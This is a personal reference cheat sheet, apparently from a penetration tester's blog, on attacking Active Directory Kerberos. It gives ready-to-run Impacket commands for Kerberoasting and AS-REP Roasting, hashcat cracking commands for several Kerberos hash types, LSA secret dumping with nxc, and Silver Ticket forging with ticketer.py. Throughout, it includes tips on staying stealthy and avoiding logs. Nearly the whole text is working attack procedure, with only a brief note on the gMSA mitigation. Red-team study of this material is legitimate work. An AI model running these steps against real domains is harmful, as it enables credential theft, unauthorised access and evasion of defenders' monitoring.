These are some scribbles if I ever need to look up how to exploit Kerberoasting or AS-REP Roasting. I might expand on this later…​

ℹ️
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity.

Environment

For this article, we’re assuming the following (change accordingly):

user $ echo $SHELL
/usr/bin/fish

user $ which GetUserSPNs.py
/usr/bin/GetUserSPNs.py
user $ which GetNPUsers.py
/usr/bin/GetNPUsers.py

user $ set win_domain company.org
user $ set dc_ip 192.168.1.1
user $ set regular_user_account gijsbert

Enum

Using GetUserSPNs.py from Impacket to check for Kerberoastable accounts:

user $ GetUserSPNs.py {$win_domain}/{$regular_user_account}

Retrieve Kerberoastable encrypted hashes:

user $ GetUserSPNs.py {$win_domain}/{$regular_user_account} \
           -request \
           -outputfile \
           hashes.spnroast

Using GetNPUsers.py (also from Impacket) to check for AS-REP Roastable accounts:

user $ GetNPUsers.py {$win_domain}/{$regular_user_account}

Retrieve AS-REP Roastable encrypted hashes:

user $ GetNPUsers.py {$win_domain}/{$regular_user_account} \
           -request \
           -format hashcat \
           -outputfile hashes.asreproast

Cracking

kerberoast

Cracking "$krb5tgs$23$" type hashes (RC4), using a hashcat rule based attack (Kerberoasting):

user $ hashcat -O -m 13100 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.spnroast cracked-dict-history \
           --potfile-path hashcat.pot -r d3adhob0.rule

Cracking "$krb5tgs$17$" type hashes (AES-128), using a hashcat rule based attack (Kerberoasting):

user $ hashcat -O -m 19600 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.spnroast cracked-dict-history \
           --potfile-path hashcat.pot -r OneRuleToRuleThemStill.rule

Cracking "$krb5tgs$18$" type hashes (AES-256), using a hashcat rule based attack (Kerberoasting):

user $ hashcat -O -m 19700 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.spnroast cracked-dict-history \
           --potfile-path hashcat.pot -r OneRuleToRuleThemStill.rule

Cracking "$krb5asrep$23$" type hashes, using a hashcat rule based attack (AS-REP Roasting):

user $ hashcat -O -m 18200 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.asreproast cracked-dict-history \
           --potfile-path hashcat.pot -r OneRuleToRuleThemStill.rule

Analysis

Show accounts of which the hashes are cracked:

user $ cut -d \$ -f 1-5 hashcat.pot

Forging Silver Tickets

For this section, we’re assuming the following (change accordingly):

user $ echo $SHELL
/usr/bin/fish

user $ which ticketer.py
/usr/bin/ticketer.py
user $ which smbclient.py
/usr/bin/smbclient.py

user $ set win_domain company.org
user $ set dc_ip 192.168.1.1
user $ set dc_fqdn dc01.{$win_domain}
user $ set regular_user_account gijsbert
user $ set regular_user_passwd Geh31m!

# Only for Silver Tickets, when a service account owns the SPN
user $ set service_account srvc_www
user $ set service_account_passwd CrackedP@ssw0rd!
user $ set server_fqdn www01.{$win_domain}
user $ set server_computer_account 'www01$'
user $ set spn http/{$server_fqdn}

So, we already cracked a service account’s password. From here we can create valid and regular TGTs, via e.g.:

user $ getTGT.py {$win_domain}/{$service_account}:{$service_account_passwd} -dc-ip {$dc_ip}

However, these tickets are short-lived, communicates with the DC, logs authentication, etc.

We can avoid this by generating longer-lived Silver Tickets, which will continue to work as long as the service account’s password remains valid.

ℹ️
A well-known mitigation of this is using (g)MSAs, which automatically rotate passwords, burning any forged Silver Tickets.

However, we first need to get the service account’s AES key (or NTHash, but that’s less stealthy). If the service account has local admin permissions on the server which is part of the SPN, we can retrieve these from memory:

user $ nxc smb {$server_fqdn} -d {$win_domain} -u {$service_account} -p "$service_account_passwd" --lsa
[...]
SMB         172.20.80.24    445    WWW01            CORP\WWW01$:aes256-cts-hmac-sha1-96:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[...]
user $ set server_computer_account_aeskey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Next, get and set the domain SID:

user $ lookupsid.py "$win_domain/$regular_user_account:$regular_user_passwd@$dc_ip" 0
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx

We can now forge Silver Tickets:

user $ ticketer.py \
           -aesKey {$server_computer_account_aeskey} \
           -domain-sid {$win_domain_sid} \
           -domain {$win_domain} \
           -spn {$spn} \
           {$server_computer_account}

Try logging in:

user $ smbclient.py -k -no-pass {$win_domain}/{$server_computer_account}@{$server_fqdn}

As long as the computer account’s password remains the same (will likely be rotated ~monthly), the Silver Ticket remains valid, and avoids talking with the KDC (more stealthy).

ℹ️
Forging other tickets (Gold, Diamond, Sapphire) demands compromise of the KRBTGT secrets, which requires domain wide compromise, but I’ve briefly documented (for myself) how tot forge those tickets in another article.